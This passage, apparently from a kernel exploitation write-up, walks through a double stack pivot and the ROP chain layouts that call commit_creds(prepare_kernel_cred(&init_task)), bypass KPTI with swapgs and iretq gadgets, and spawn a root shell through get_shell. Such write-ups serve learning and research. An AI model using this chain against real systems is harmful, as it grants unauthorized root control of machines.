After pivoting stack to +0x00, the program will read the next ROP gadget from +0x00, and continue sequentially from there. We don’t have a lot of space on this new stack, because at +0x10, the pointer to our vtable is still there, and at +0x39, we put the gadget called in jmp qword ptr [rsi + 0x39], and we must remember not to overwrite these while writing our final ROP chain. The best solution to avoid conflict with these pointers is to pivot once more, now to somewhere further down the stack where we have more space. Luckily, we should have enough space to do this, and we’ll do the stack pivot at +0x18. To get past +0x10, we can do a small trick: just pop rdi!

So our first stack will look like this:

+0x00: ret ;
+0x08: pop rdi ; ret ;
+0x10: <fake vtable>
+0x18: pop rsp ; ret ;
+0x20: <pipe_buf + 0x50>

Now our second stack will point to +0x50. Here we have lots of space, so let’s start our final ROP chain!

Final ROP chain

We want to finally call this:

commit_creds(prepare_kernel_cred(&init_task));

Due to recent changes in kernel, it’s no longer prepare_kernel_cred(0) as seen in older writeups.

Then because of KPTI, we need to jump to our shell function safely. In this version of kernel, the usual gadget swapgs_restore_regs_and_return_to_usermode+22 is slightly different, so I can’t really use it. So we need swapgs ; ret and iretq ; ret gadgets. ROPgadget couldn’t locate these, but I used objdump -d vmlinux to find them.

Also, I don’t actually know how to return properly to userland from iretq cos I keep getting SIGSEGV (after successfully pivoting back to userland). But another way is simply to register a SIGSEGV handler in our program and set it to get_shell.

One more part: we need to actually save the state of the program even before doing our ROP, so at the start of the exploit we add this (and also define our get_shell function):

void save_state() {
  __asm__(
      ".intel_syntax noprefix;"
      "mov user_cs, cs;"
      "mov user_ss, ss;"
      "mov user_sp, rsp;"
      "pushf;"
      "pop user_rflags;"
      ".att_syntax;"
  );
}
save_state();
 
void get_shell() {
  if (getuid() == 0) {
    system("/bin/sh");
  } else {
    puts("[-] failed to get root");
  }
}

Lastly, our second stack:

+0x50: pop rdi ; ret ;
+0x58: <init_task>
+0x60: prepare_kernel_cred
+0x68: commit_creds
+0x70: swapgs ; ret ;
+0x78: iretq ; ret ;
+0x80: get_shell
+0x88: user_cs
+0x90: user_rflags
+0x98: user_sp
+0xa0: user_ss

After constructing this, we spray sk_buff onto pipe_buf, release all pipe_buf and should get root!